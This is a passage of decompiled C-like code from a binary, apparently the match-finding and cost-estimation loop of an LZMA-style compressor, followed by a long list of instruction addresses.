						_t766 = _t766 + 1;
						if(_t1087 < _t1141) {
							continue;
						}
						goto L64;
					}
					goto L64;
					L86:
					_t688 = 1 +  *(_t1153 + 0x80);
					 *(_t1153 + 0x80) = _t688;
					if(_t688 < 4) {
						do {
							L58:
							_t854 =  *((intOrPtr*)(_t1153 + 0x20));
							_t686 = _t854 -  *((intOrPtr*)(_t1153 + 0x5c +  *(_t1153 + 0x80) * 4)) - 1;
							 *(_t1153 + 0x28) = _t686;
							if( *_t854 !=  *_t686) {
								goto L86;
							}
							goto L59;
						} while (_t688 < 4);
					}
					_t1122 =  *(_t1153 + 0x54);
					_t689 =  *(_t1153 + 0x24);
					if(_t1122 <= _t689) {
						L91:
						_t988 =  *(_t1153 + 0x40);
						if(_t1122 < _t988) {
							while(1) {
								L127:
								_t683 = 1 +  *(_t1153 + 0x14);
								 *(_t1153 + 0x14) = _t683;
								if(_t683 ==  *(_t1153 + 0x18)) {
									break;
								}
								_t647 = E004600C0(_t1151, _t1153 + 0x38);
								 *(_t1153 + 0x54) = _t647;
								if(_t647 >=  *(_t1151 + 0x31934)) {
									 *((intOrPtr*)(_t1151 + 0x698)) =  *((intOrPtr*)(_t1153 + 0x38));
									 *(_t1151 + 0x694) = _t647;
									L130:
									return E00460210( *(_t1153 + 0x14), _t1151,  *((intOrPtr*)(_t1153 + 0x88)));
								} else {
									_t1118 =  *(_t1153 + 0x14);
									 *(_t1153 + 0x84) = 1 +  *(_t1153 + 0x84);
									_t791 = _t1118 + _t1118 * 2 << 4;
									_t1071 =  *((intOrPtr*)(_t791 + _t1151 + 0x6a8));
									_t650 =  *(_t791 + _t1151 + 0x6b8);
									_t792 = _t791 + _t1151;
									if(_t1071 == 0) {
										_t970 =  *(_t1151 + 0x6a4 + (_t650 + _t650 * 2 + _t650 + _t650 * 2) * 8);
									} else {
										_t650 = _t650 - 1;
										if( *((intOrPtr*)(_t792 + 0x6ac)) == 0) {
											_t970 =  *(0x47c5dc +  *(_t1151 + 0x6a4 + (_t650 + _t650 * 2 + _t650 + _t650 * 2) * 8) * 4);
										} else {
											_t966 =  *(_t1151 + 0x6a4 + ( *(_t792 + 0x6b0) +  *(_t792 + 0x6b0) * 2 +  *(_t792 + 0x6b0) +  *(_t792 + 0x6b0) * 2) * 8);
											if( *(_t792 + 0x6b4) >= 4) {
												_t970 =  *(0x47c5dc +  *(0x47c60c + _t966 * 4) * 4);
											} else {
												_t970 =  *(0x47c5dc +  *(0x47c63c + _t966 * 4) * 4);
											}
										}
									}
									if(_t650 != _t1118 - 1) {
										if(_t1071 == 0 ||  *((intOrPtr*)(_t792 + 0x6ac)) == 0) {
											_t828 =  *(_t792 + 0x6bc);
											 *(_t1153 + 0x80) = _t828;
											if(_t828 >= 4) {
												_t971 =  *(0x47c60c + _t970 * 4);
												_t829 =  *(_t1153 + 0x80);
												goto L19;
											}
											 *(_t1153 + 0x1c) =  *(0x47c63c + _t970 * 4);
											_t829 =  *(_t1153 + 0x80);
											goto L20;
										} else {
											_t829 =  *(_t792 + 0x6b4);
											_t650 =  *(_t792 + 0x6b0);
											_t971 =  *(0x47c63c + _t970 * 4);
											 *(_t1153 + 0x80) = _t829;
											L19:
											 *(_t1153 + 0x1c) = _t971;
											L20:
											_t972 = _t1151 + 0x6a0 + (_t650 + _t650 * 2 + _t650 + _t650 * 2) * 8;
											if(_t829 >= 4) {
												 *((intOrPtr*)(_t1153 + 0x5c)) = _t829 + 0xfffffffc;
												 *(_t1153 + 0x60) =  *(_t972 + 0x20);
												 *((intOrPtr*)(_t1153 + 0x64)) =  *((intOrPtr*)(_t972 + 0x24));
												 *((intOrPtr*)(_t1153 + 0x68)) =  *((intOrPtr*)(_t972 + 0x28));
												goto L25;
											}
											 *((intOrPtr*)(_t1153 + 0x5c)) =  *((intOrPtr*)(_t972 + 0x20 + _t829 * 4));
											_t784 = 1;
											if(_t829 < 1) {
												L23:
												memcpy(_t1153 + 0x5c + _t784 * 4, _t972 + 0x20 + _t784 * 4, 4 << 2);
												_t1153 = _t1153 + 0xc;
												goto L25;
											}
											_t784 = memcpy(_t1153 + 0x60, _t972 + 0x20, _t829 << 2);
											_t1153 = _t1153 + 0xc;
											if(1 >= 4) {
												goto L25;
											}
											goto L23;
										}
									} else {
										if( *(_t792 + 0x6bc) != 0) {
											 *(_t1153 + 0x1c) =  *(0x47c5dc + _t970 * 4);
										} else {
											 *(_t1153 + 0x1c) =  *(0x47c66c + _t970 * 4);
										}
										L25:
										_t1120 =  *(_t1153 + 0x1c);
										 *((intOrPtr*)(_t792 + 0x6c0)) =  *((intOrPtr*)(_t1153 + 0x5c));
										 *(_t792 + 0x6c4) =  *(_t1153 + 0x60);
										 *(_t792 + 0x6a4) = _t1120;
										 *((intOrPtr*)(_t792 + 0x6c8)) =  *((intOrPtr*)(_t1153 + 0x64));
										 *((intOrPtr*)(_t792 + 0x6cc)) =  *((intOrPtr*)(_t1153 + 0x68));
										 *(_t1153 + 0x24) =  *(_t792 + 0x6a0);
										 *(_t1153 + 0x28) = 0;
										_t106 =  *((intOrPtr*)( *((intOrPtr*)(_t1151 + 0xc))))() - 1; // -1
										_t1072 = _t106;
										 *(_t1153 + 0x80) =  *_t1072;
										_t659 = _t1072 -  *((intOrPtr*)(_t1153 + 0x5c));
										 *((intOrPtr*)(_t1153 + 0x3c)) = _t659 - 1;
										 *(_t1153 + 0x13) =  *((intOrPtr*)(_t659 - 1));
										_t977 =  *(_t1153 + 0x84);
										_t662 = _t977 &  *(_t1151 + 0x325a8);
										 *(_t1153 + 0x30) = _t662;
										_t663 = _t662 + (_t1120 << 4);
										 *(_t1153 + 0x40) = _t663;
										 *((intOrPtr*)(_t1153 + 0x20)) = _t1072;
										 *(_t1153 + 0x2c) =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x325b0 + _t663 * 2) & 0x0000ffff) >> 4) * 4)) +  *(_t1153 + 0x24);
										 *(_t1153 + 0x44) =  *(_t1151 + 0x325a4) & _t977;
										_t1077 = ((( *(_t1072 - 1) & 0x000000ff) >> 8 -  *(_t1151 + 0x32598)) + ( *(_t1153 + 0x44) <<  *(_t1151 + 0x32598))) * 0x600 +  *((intOrPtr*)(_t1151 + 0x325ac));
										if(_t1120 < 7) {
											 *(_t1153 + 0x34) = 0;
											_t672 =  *(_t1153 + 0x80) & 0x000000ff | 0x00000100;
											do {
												_t851 =  *(_t1153 + 0x34) +  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1077 + (_t672 >> 8) * 2) & 0x0000ffff) >> 0x00000004 ^  ~(_t672 >> 0x00000007 & 0x00000001) >> 0x00000004 & 0x0000007f) * 4));
												_t672 = _t672 + _t672;
												 *(_t1153 + 0x34) = _t851;
											} while (_t672 < 0x10000);
											_t673 = _t851;
											L30:
											_t982 =  *(_t1153 + 0x2c) + _t673;
											 *(_t1153 + 0x2c) = _t982;
											if(_t982 <  *(_t792 + 0x6d0)) {
												 *(_t792 + 0x6d0) = _t982;
												 *(_t792 + 0x6e8) =  *(_t1153 + 0x14);
												 *((intOrPtr*)(_t792 + 0x6ec)) = 0xffffffff;
												 *(_t792 + 0x6d8) = 0;
												 *(_t1153 + 0x28) = 1;
											}
											_t852 =  *(_t1153 + 0x40);
											_t678 =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x325b0 + _t852 * 2) & 0x0000ffff ^ 0x000007f0) >> 4) * 4)) +  *(_t1153 + 0x24);
											_t986 =  *(_t1153 + 0x14);
											_t1079 =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32730 + _t1120 * 2) & 0x0000ffff ^ 0x000007f0) >> 4) * 4)) + _t678;
											 *((intOrPtr*)(_t1153 + 0x58)) = _t678;
											 *((intOrPtr*)(_t1153 + 0x48)) = _t1079;
											if( *(_t1153 + 0x13) ==  *(_t1153 + 0x80) && ( *(_t792 + 0x6e8) >= _t986 ||  *((intOrPtr*)(_t792 + 0x6ec)) != 0)) {
												_t780 =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32748 + _t1120 * 2) & 0x0000ffff) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32790 + _t852 * 2) & 0x0000ffff) >> 4) * 4)) + _t1079;
												if(_t780 <=  *(_t792 + 0x6d0)) {
													 *(_t792 + 0x6d0) = _t780;
													 *(_t792 + 0x6e8) = _t986;
													 *((intOrPtr*)(_t792 + 0x6ec)) = 0;
													 *(_t792 + 0x6d8) = 0;
													 *(_t1153 + 0x28) = 1;
												}
											}
											_t853 =  *(_t1151 + 0x69c);
											_t681 = 0xfff - _t986;
											 *(_t1153 + 0x34) = _t853;
											if(0xfff < _t853) {
												_t853 = 0xfff;
												 *(_t1153 + 0x34) = _t681;
											}
											if(_t853 < 2) {
												continue;
											} else {
												_t1121 =  *(_t1151 + 0x31934);
												 *(_t1153 + 0x24) = _t853;
												if(_t853 > _t1121) {
													 *(_t1153 + 0x24) = _t1121;
												}
												if( *(_t1153 + 0x28) != 0 ||  *(_t1153 + 0x13) ==  *(_t1153 + 0x80)) {
													L57:
													 *(_t1153 + 0x40) = 2;
													 *(_t1153 + 0x80) = 0;
													goto L58;
												} else {
													_t1143 = 1 + _t1121;
													if(_t1143 > _t853) {
														_t1143 = _t853;
													}
													_t945 = 1;
													if(_t1143 <= 1) {
														L50:
														_t204 = _t945 - 1; // 0x1
														_t767 = _t204;
														 *(_t1153 + 0x80) = _t767;
														if(_t767 < 2) {
															goto L57;
														}
														_t769 =  *(0x47c5dc +  *(_t1153 + 0x1c) * 4);
														_t948 = 0x00000001 +  *(_t1153 + 0x84) &  *(_t1151 + 0x325a8);
														_t815 = (_t769 << 4) + _t948;
														_t1061 =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x325b0 + _t815 * 2) & 0x0000ffff ^ 0x000007f0) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32730 + _t769 * 2) & 0x0000ffff ^ 0x000007f0) >> 4) * 4)) +  *(_t1153 + 0x2c);
														_t1148 =  *(_t1153 + 0x80) + 1 +  *(_t1153 + 0x14);
														_t1101 =  *(_t1153 + 0x18);
														 *(_t1153 + 0x40) = _t815;
														if(_t1101 >= _t1148) {
															L55:
															_t952 = _t1148 + _t1148 * 2 + _t1148 + _t1148 * 2;
															_t773 =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32790 + _t815 * 2) & 0x0000ffff ^ 0x000007f0) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32748 + _t769 * 2) & 0x0000ffff) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x37858 + (_t948 * 0x110 +  *(_t1153 + 0x80)) * 4)) + _t1061;
															_t953 = _t1151 + 0x6a0 + _t952 * 8;
															if(_t773 <  *((intOrPtr*)(_t1151 + 0x6a0 + _t952 * 8))) {
																 *_t953 = _t773;
																 *((intOrPtr*)(_t953 + 0x18)) = 1 +  *(_t1153 + 0x14);
																 *((intOrPtr*)(_t953 + 0x1c)) = 0;
																 *(_t953 + 8) = 1;
																 *((intOrPtr*)(_t953 + 0xc)) = 0;
															}
															goto L57;
														}
														 *(_t1153 + 0x44) = _t1151 + 0x6a0 + (_t1101 + _t1101 * 2 + _t1101 + _t1101 * 2) * 8;
														_t822 = _t1148 - _t1101;
														 *(_t1153 + 0x18) = _t1101 + _t822;
														_t1106 =  *(_t1153 + 0x44);
														do {
															_t1106 = _t1106 + 0x30;
															_t822 = _t822 - 1;
															 *_t1106 = 0x40000000;
														} while (_t822 != 0);
														_t815 =  *(_t1153 + 0x40);
														goto L55;
													} else {
														_t1064 =  *((intOrPtr*)(_t1153 + 0x20));
														_t775 = _t1064 + 1;
														_t1108 =  *((intOrPtr*)(_t1153 + 0x3c)) - _t1064;
														while( *_t775 ==  *((intOrPtr*)(_t1108 + _t775))) {
															_t945 = _t945 + 1;
															_t775 = _t775 + 1;
															if(_t945 < _t1143) {
																continue;
															}
															goto L50;
														}
														goto L50;
													}
												}
											}
										}
										_t673 = L0045FBE0( *(_t1153 + 0x13) & 0x000000ff,  *(_t1153 + 0x80) & 0x000000ff, _t1151 + 0x30ea0, _t1077);
										goto L30;
									}
								}
							}
							goto L130;
						}
						 *((intOrPtr*)(_t1153 + 0x58)) =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32730 +  *(_t1153 + 0x1c) * 2) & 0x0000ffff) >> 4) * 4)) +  *((intOrPtr*)(_t1153 + 0x58));
						_t694 = _t1122 +  *(_t1153 + 0x14);
						_t858 =  *(_t1153 + 0x18);
						if(_t858 >= _t694) {
							L95:
							_t695 = 0;
							 *(_t1153 + 0x80) = 0;
							if(_t988 <=  *((intOrPtr*)(_t1151 + 0x310a0))) {
								L99:
								_t697 =  *(_t1151 + 0x310a4 +  *(_t1153 + 0x80) * 4);
								_t1080 = 1 + _t988;
								 *(_t1153 + 0x2c) = _t697;
								 *(_t1153 + 0x28) = ( *((_t697 >> ( ~(0x1ffff - _t697 >> 0x1f) & 0x0000000a) + 6) + _t1151 + 0x306a0) & 0x000000ff) + (( ~(0x1ffff - _t697 >> 0x1f) & 0x0000000a) + 6) * 2;
								 *(_t1153 + 0x30) = _t1151 + 0x33010 + ( *(_t1153 + 0x30) * 0x110 + _t988) * 4;
								_t793 = _t1151 + 0x6bc + ( *(_t1153 + 0x14) + _t988 + ( *(_t1153 + 0x14) + _t988) * 2 +  *(_t1153 + 0x14) + _t988 + ( *(_t1153 + 0x14) + _t988) * 2) * 8;
								while(1) {
									_t992 =  *( *(_t1153 + 0x30)) +  *((intOrPtr*)(_t1153 + 0x58));
									 *(_t1153 + 0x24) = _t793;
									 *(_t1153 + 0x44) = _t1080;
									_t874 = _t1080 - 3;
									if(_t1080 - 1 >= 5) {
										_t874 = 3;
									}
									if(_t697 >= 0x80) {
										_t993 = _t992 +  *((intOrPtr*)(_t1151 + 0x31950 + ( *(_t1153 + 0x28) + (_t874 << 6)) * 4)) +  *((intOrPtr*)(_t1151 + 0x32550 + (_t697 & 0x0000000f) * 4));
									} else {
										_t993 = _t992 +  *((intOrPtr*)(_t1151 + 0x31d50 + ((_t874 << 7) + _t697) * 4));
									}
									 *(_t1153 + 0x40) = _t993;
									if(_t993 <  *(_t793 - 0x1c)) {
										 *(_t793 - 0x1c) = _t993;
										 *(_t793 - 4) =  *(_t1153 + 0x14);
										 *_t793 = _t697 + 4;
										 *(_t793 - 0x14) = 0;
									}
									if(_t1080 - 1 !=  *((intOrPtr*)(_t1151 + 0x310a0 +  *(_t1153 + 0x80) * 4))) {
										goto L126;
									}
									L108:
									_t995 =  *(_t1153 + 0x34);
									_t699 =  *(_t1151 + 0x31934) + _t1080;
									_t882 =  *((intOrPtr*)(_t1153 + 0x20)) - _t697 - 1;
									_t1128 = _t1080;
									if(_t699 > _t995) {
										_t699 = _t995;
									}
									if(_t1080 >= _t699) {
										L116:
										_t1129 = _t1128 + (_t995 | 0xffffffff) - _t1080 - 1;
										 *((intOrPtr*)(_t1153 + 0x3c)) = _t1129;
										if(_t1129 < 2) {
											L123:
											_t702 =  *(_t1153 + 0x80) + 2;
											 *(_t1153 + 0x80) = _t702;
											if(_t702 ==  *((intOrPtr*)(_t1153 + 0x38))) {
												goto L127;
											}
											_t697 =  *(_t1151 + 0x310a4 + _t702 * 4);
											 *(_t1153 + 0x2c) = _t697;
											if(_t697 >= 0x80) {
												 *(_t1153 + 0x28) = ( *((_t697 >> ( ~(0x1ffff - _t697 >> 0x1f) & 0x0000000a) + 6) + _t1151 + 0x306a0) & 0x000000ff) + (( ~(0x1ffff - _t697 >> 0x1f) & 0x0000000a) + 6) * 2;
											}
											goto L126;
										}
										_t704 =  *(_t1153 + 0x84) + _t1080 - 1;
										 *(_t1153 + 0x54) = _t704;
										_t1131 =  *(_t1151 + 0x325a8) & _t704;
										_t706 = L0045FBE0( *(_t882 + _t1080 - 1) & 0x000000ff,  *(_t1080 +  *((intOrPtr*)(_t1153 + 0x20)) - 1) & 0x000000ff, _t1151 + 0x30ea0, ((( *( *((intOrPtr*)(_t1153 + 0x20)) + _t1080 - 2) & 0x000000ff) >> 8 -  *(_t1151 + 0x32598)) + (( *(_t1151 + 0x325a4) &  *(_t1153 + 0x54)) <<  *(_t1151 + 0x32598))) * 0x600 +  *((intOrPtr*)(_t1151 + 0x325ac)));
										_t896 =  *(0x47c60c +  *(_t1153 + 0x1c) * 4);
										_t795 =  *(0x47c5dc + _t896 * 4);
										_t1080 =  *(_t1153 + 0x44);
										_t898 = 0x00000001 + _t1131 &  *(_t1151 + 0x325a8);
										_t1012 = (_t795 << 4) + _t898;
										 *(_t1153 + 0x4c) = _t1012;
										_t1018 =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x325b0 + _t1012 * 2) & 0x0000ffff ^ 0x000007f0) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32730 + _t795 * 2) & 0x0000ffff ^ 0x000007f0) >> 4) * 4)) + _t706 +  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x325b0 + ((_t896 << 4) + _t1131) * 2) & 0x0000ffff) >> 4) * 4)) +  *(_t1153 + 0x40);
										_t1136 =  *((intOrPtr*)(_t1153 + 0x3c)) + _t1080 - 1 + 1 +  *(_t1153 + 0x14);
										_t711 =  *(_t1153 + 0x18);
										 *(_t1153 + 0x50) = _t1136;
										if(_t711 >= _t1136) {
											L121:
											_t793 =  *(_t1153 + 0x24);
											_t902 = _t1136 + _t1136 * 2 + _t1136 + _t1136 * 2;
											_t719 =  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32790 +  *(_t1153 + 0x4c) * 2) & 0x0000ffff ^ 0x000007f0) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x30ea0 + (( *(_t1151 + 0x32748 + _t795 * 2) & 0x0000ffff) >> 4) * 4)) +  *((intOrPtr*)(_t1151 + 0x37858 + (_t898 * 0x110 +  *((intOrPtr*)(_t1153 + 0x3c))) * 4)) + _t1018;
											_t903 = _t1151 + 0x6a0 + _t902 * 8;
											if(_t719 <  *((intOrPtr*)(_t1151 + 0x6a0 + _t902 * 8))) {
												_t1019 =  *(_t1153 + 0x14);
												 *_t903 = _t719;
												 *(_t903 + 0x10) = _t1019;
												 *((intOrPtr*)(_t903 + 0x18)) = _t1080 + _t1019;
												 *(_t903 + 0x1c) = 0;
												 *(_t903 + 8) = 1;
												 *(_t903 + 0xc) = 1;
												 *((intOrPtr*)(_t903 + 0x14)) =  *(_t1153 + 0x2c) + 4;
											}
											goto L123;
										}
										 *(_t1153 + 0x54) = _t1151 + 0x6a0 + (_t711 + _t711 * 2 + _t711 + _t711 * 2) * 8;
										_t725 =  *(_t1153 + 0x18);
										_t1137 = _t1136 - _t725;
										 *(_t1153 + 0x18) = _t725 + _t1137;
										_t727 =  *(_t1153 + 0x54);
										do {
											_t727 = _t727 + 0x30;
											_t1137 = _t1137 - 1;
											 *_t727 = 0x40000000;
										} while (_t1137 != 0);
										_t1136 =  *(_t1153 + 0x50);
										goto L121;
									} else {
										_t799 =  *((intOrPtr*)(_t1153 + 0x20)) - _t882;
										_t995 = _t882 + _t1080;
										 *(_t1153 + 0x54) = _t799;
										while( *((intOrPtr*)(_t799 + _t995)) ==  *_t995) {
											_t1128 = 1 + _t1128;
											_t995 = 1 + _t995;
											if(_t1128 < _t699) {
												_t799 =  *(_t1153 + 0x54);
												continue;
											}
											break;
										}
										_t793 =  *(_t1153 + 0x24);
										goto L116;
									}
									L126:
									 *(_t1153 + 0x30) =  *(_t1153 + 0x30) + 4;
									_t793 = _t793 + 0x30;
									_t1080 = 1 + _t1080;
									_t992 =  *( *(_t1153 + 0x30)) +  *((intOrPtr*)(_t1153 + 0x58));
									 *(_t1153 + 0x24) = _t793;
									 *(_t1153 + 0x44) = _t1080;
									_t874 = _t1080 - 3;
									if(_t1080 - 1 >= 5) {
										_t874 = 3;
									}
									if(_t697 >= 0x80) {
										_t993 = _t992 +  *((intOrPtr*)(_t1151 + 0x31950 + ( *(_t1153 + 0x28) + (_t874 << 6)) * 4)) +  *((intOrPtr*)(_t1151 + 0x32550 + (_t697 & 0x0000000f) * 4));
									} else {
										_t993 = _t992 +  *((intOrPtr*)(_t1151 + 0x31d50 + ((_t874 << 7) + _t697) * 4));
									}
									 *(_t1153 + 0x40) = _t993;
									if(_t993 <  *(_t793 - 0x1c)) {
										 *(_t793 - 0x1c) = _t993;
										 *(_t793 - 4) =  *(_t1153 + 0x14);
										 *_t793 = _t697 + 4;
										 *(_t793 - 0x14) = 0;
									}
									if(_t1080 - 1 !=  *((intOrPtr*)(_t1151 + 0x310a0 +  *(_t1153 + 0x80) * 4))) {
										goto L126;
									}
								}
							}
							do {
								_t695 = _t695 + 2;
							} while (_t988 >  *((intOrPtr*)(_t1151 + 0x310a0 + _t695 * 4)));
							 *(_t1153 + 0x80) = _t695;
							goto L99;
						}
						_t728 = _t694 - _t858;
						_t1140 = _t1151 + 0x6a0 + (_t858 + _t858 * 2 + _t858 + _t858 * 2) * 8;
						 *(_t1153 + 0x18) = _t858 + _t728;
						do {
							_t1140 = _t1140 + 0x30;
							_t728 = _t728 - 1;
							 *_t1140 = 0x40000000;
						} while (_t728 != 0);
						goto L95;
					}
					_t908 = 0;
					_t1122 = _t689;
					if(_t689 <=  *((intOrPtr*)(_t1151 + 0x310a0))) {
						L90:
						 *(_t1151 + 0x310a0 + _t908 * 4) = _t689;
						 *((intOrPtr*)(_t1153 + 0x38)) = _t908 + 2;
						goto L91;
					} else {
						goto L89;
					}
					do {
						L89:
						_t908 = _t908 + 2;
					} while (_t689 >  *(_t1151 + 0x310a0 + _t908 * 4));
					goto L90;
				}
			}

0x00460e00
0x00460e00
0x00460e00
0x00460e13
0x00460e14
0x00460e1a
0x00000000
0x00000000
0x00460e20
0x00460e20
0x00460e27
0x00460e2e
0x00000000
0x00000000
0x00460e34
0x00460e38
0x00460e3f
0x00460e53
0x00460e57
0x00460e5b
0x00460e60
0x00460e8c
0x00460e9e
0x00460ea9
0x00460ead
0x00460eb3
0x00460eb9
0x00460ec5
0x00460ec9
0x00460ecd
0x00460ed4
0x00460ed6
0x00460ed8
0x00460edd
0x00460edf
0x00460ee6
0x00460ef0
0x00460ef2
0x00460ef2
0x00460ef9
0x00460efa
0x00460efd
0x00460f00
0x00460f0d
0x00460f0f
0x00460f12
0x00460f12
0x00460f1c
0x00460f20
0x00460f20
0x00460f23
0x00460f25
0x00460f2b
0x00460f2d
0x00460f2f
0x00460f2f
0x00460f35
0x00460f39
0x00460f53
0x00460f58
0x00460f5a
0x00460f61
0x00000000
0x00000000
0x00460f7d
0x00460f88
0x00460f9c
0x00460fbf
0x00460fc8
0x00460fcf
0x00460fea
0x0046100f
0x00461017
0x00461026
0x00461028
0x00461046
0x00461060
0x00461068
0x0046106c
0x00461070
0x00461076
0x004610b0
0x004610f1
0x004610f3
0x004610fc
0x00461103
0x00461105
0x0046110b
0x0046110f
0x00461117
0x00461121
0x00461128
0x0046112b
0x0046112e
0x0046112e
0x00000000
0x00461103
0x00461084
0x00461088
0x0046108c
0x00461090
0x00461094
0x004610a0
0x004610a0
0x004610a3
0x004610a4
0x004610a4
0x004610ac
0x00000000
0x00460f3b
0x00460f3f
0x00460f42
0x00460f44
0x00460f4b
0x00460f4c
0x00460f51
0x00000000
0x00000000
0x00000000
0x00460f51
0x00000000
0x00460f44
0x00460f39
0x00460e69
0x00460e6d
0x00460e74
0x00460e80
0x00460e80
0x00460e83
0x00460e84
0x00460e84
0x00000000
0x00460e80
0x00460e41
0x00460e44
0x00460e46
0x00460e4d
0x00460e4e
0x00460e51
0x00000000
0x00000000
0x00000000
0x00460e51
0x00000000
0x00461131
0x00461138
0x00461139
0x00461143
0x00460e00
0x00460e00
0x00460e00
0x00460e13
0x00460e14
0x00460e1a
0x00000000
0x00000000
0x00000000
0x00460e1a
0x00460e00
0x00461149
0x0046114d
0x00461153
0x0046117b
0x0046117b
0x00461181
0x00461560
0x00461560
0x00461564
0x00461565
0x0046156d
0x00000000
0x00000000
0x00460877
0x0046087c
0x00460886
0x00461579
0x0046157f
0x00461585
0x0046159f
0x0046088c
0x0046088c
0x00460890
0x0046089a
0x0046089d
0x004608a4
0x004608ab
0x004608af
0x00460910
0x004608b1
0x004608b1
0x004608b9
0x00460902
0x004608bb
0x004608cd
0x004608d4
0x004608ed
0x004608d6
0x004608dd
0x004608dd
0x004608d4
0x004608b9
0x0046091a
0x00460947
0x0046096e
0x00460974
0x0046097e
0x00460994
0x0046099b
0x00000000
0x0046099b
0x00460987
0x0046098b
0x00000000
0x00460952
0x00460952
0x00460958
0x0046095e
0x00460965
0x004609a2
0x004609a2
0x004609a6
0x004609ab
0x004609b5
0x004609f7
0x004609fe
0x00460a05
0x00460a09
0x00000000
0x00460a09
0x004609bb
0x004609bf
0x004609c6
0x004609de
0x004609ed
0x004609ed
0x00000000
0x004609ed
0x004609d7
0x004609d7
0x004609dc
0x00000000
0x00000000
0x00000000
0x004609dc
0x0046091c
0x00460923
0x0046093c
0x00460925
0x0046092c
0x0046092c
0x00460a0d
0x00460a19
0x00460a1d
0x00460a27
0x00460a33
0x00460a39
0x00460a3f
0x00460a4b
0x00460a4f
0x00460a59
0x00460a59
0x00460a5e
0x00460a67
0x00460a6f
0x00460a73
0x00460a77
0x00460a80
0x00460a88
0x00460a8f
0x00460a91
0x00460aab
0x00460ab3
0x00460ace
0x00460ae2
0x00460aeb
0x00460b10
0x00460b18
0x00460b20
0x00460b42
0x00460b49
0x00460b4b
0x00460b4f
0x00460b56
0x00460b58
0x00460b5c
0x00460b5e
0x00460b68
0x00460b6a
0x00460b74
0x00460b7a
0x00460b84
0x00460b8e
0x00460b8e
0x00460b96
0x00460bb9
0x00460bcd
0x00460bd1
0x00460bd3
0x00460bde
0x00460be6
0x00460c1d
0x00460c25
0x00460c27
0x00460c2f
0x00460c35
0x00460c3b
0x00460c41
0x00460c41
0x00460c25
0x00460c49
0x00460c54
0x00460c56
0x00460c5c
0x00460c5e
0x00460c60
0x00460c60
0x00460c67
0x00000000
0x00460c6d
0x00460c6d
0x00460c73
0x00460c79
0x00460c7b
0x00460c7b
0x00460c84
0x00460de3
0x00460de3
0x00460deb
0x00000000
0x00460c9b
0x00460c9b
0x00460c9e
0x00460ca0
0x00460ca0
0x00460ca2
0x00460ca9
0x00460cc5
0x00460cc5
0x00460cc5
0x00460cc8
0x00460cd2
0x00000000
0x00000000
0x00460cdc
0x00460cf7
0x00460d02
0x00460d33
0x00460d37
0x00460d3b
0x00460d3f
0x00460d45
0x00460d75
0x00460db6
0x00460db8
0x00460dc1
0x00460dc8
0x00460dcf
0x00460dd3
0x00460dd6
0x00460dd9
0x00460de0
0x00460de0
0x00000000
0x00460dc8
0x00460d53
0x00460d59
0x00460d5d
0x00460d61
0x00460d65
0x00460d65
0x00460d68
0x00460d69
0x00460d69
0x00460d71
0x00000000
0x00460cab
0x00460cab
0x00460cb3
0x00460cb6
0x00460cb8
0x00460cbf
0x00460cc0
0x00460cc3
0x00000000
0x00000000
0x00000000
0x00460cc3
0x00000000
0x00460cb8
0x00460ca9
0x00460c84
0x00460c67
0x00460b01
0x00000000
0x00460b01
0x0046091a
0x00460886
0x00000000
0x00461573
0x004611a5
0x004611a9
0x004611ac
0x004611b2
0x004611dc
0x004611dc
0x004611de
0x004611eb
0x00461203
0x0046120a
0x00461227
0x0046122a
0x00461239
0x00461250
0x0046125f
0x00461266
0x0046126c
0x00461276
0x0046127a
0x0046127e
0x00461281
0x00461283
0x00461283
0x0046128d
0x004612b7
0x0046128f
0x00461294
0x00461294
0x004612b9
0x004612c0
0x004612c2
0x004612cc
0x004612cf
0x004612d1
0x004612d1
0x004612e9
0x00000000
0x00000000
0x004612ef
0x004612f3
0x004612ff
0x00461301
0x00461302
0x00461306
0x00461308
0x00461308
0x0046130c
0x00461335
0x0046133d
0x0046133f
0x00461346
0x00461504
0x0046150b
0x0046150e
0x00461519
0x00000000
0x00000000
0x0046151b
0x00461522
0x0046152b
0x0046154e
0x0046154e
0x00000000
0x0046152b
0x0046135f
0x00461363
0x00461367
0x004613ae
0x004613b7
0x004613be
0x004613de
0x004613e9
0x004613fc
0x004613fe
0x0046142e
0x00461438
0x0046143c
0x00461440
0x00461446
0x00461480
0x004614b7
0x004614c5
0x004614c7
0x004614d0
0x004614d7
0x004614d9
0x004614dd
0x004614e2
0x004614e9
0x004614f4
0x004614fb
0x004614fe
0x00461501
0x00461501
0x00000000
0x004614d7
0x00461454
0x00461458
0x0046145c
0x00461460
0x00461464
0x00461470
0x00461470
0x00461473
0x00461474
0x00461474
0x0046147c
0x00000000
0x0046130e
0x00461312
0x00461314
0x00461317
0x00461324
0x0046132b
0x0046132c
0x0046132f
0x00461320
0x00000000
0x00461320
0x00000000
0x0046132f
0x00461331
0x00000000
0x00461331
0x00461552
0x00461552
0x00461557
0x0046155a
0x0046126c
0x00461276
0x0046127a
0x0046127e
0x00461281
0x00461283
0x00461283
0x0046128d
0x004612b7
0x0046128f
0x00461294
0x00461294
0x004612b9
0x004612c0
0x004612c2
0x004612cc
0x004612cf
0x004612d1
0x004612d1
0x004612e9
0x00000000
0x00000000
0x004612e9
0x00461266
0x004611f0
0x004611f0
0x004611f3
0x004611fc
0x00000000
0x004611fc
0x004611b9
0x004611bd
0x004611c4
0x004611d0
0x004611d0
0x004611d3
0x004611d4
0x004611d4
0x00000000
0x004611d0
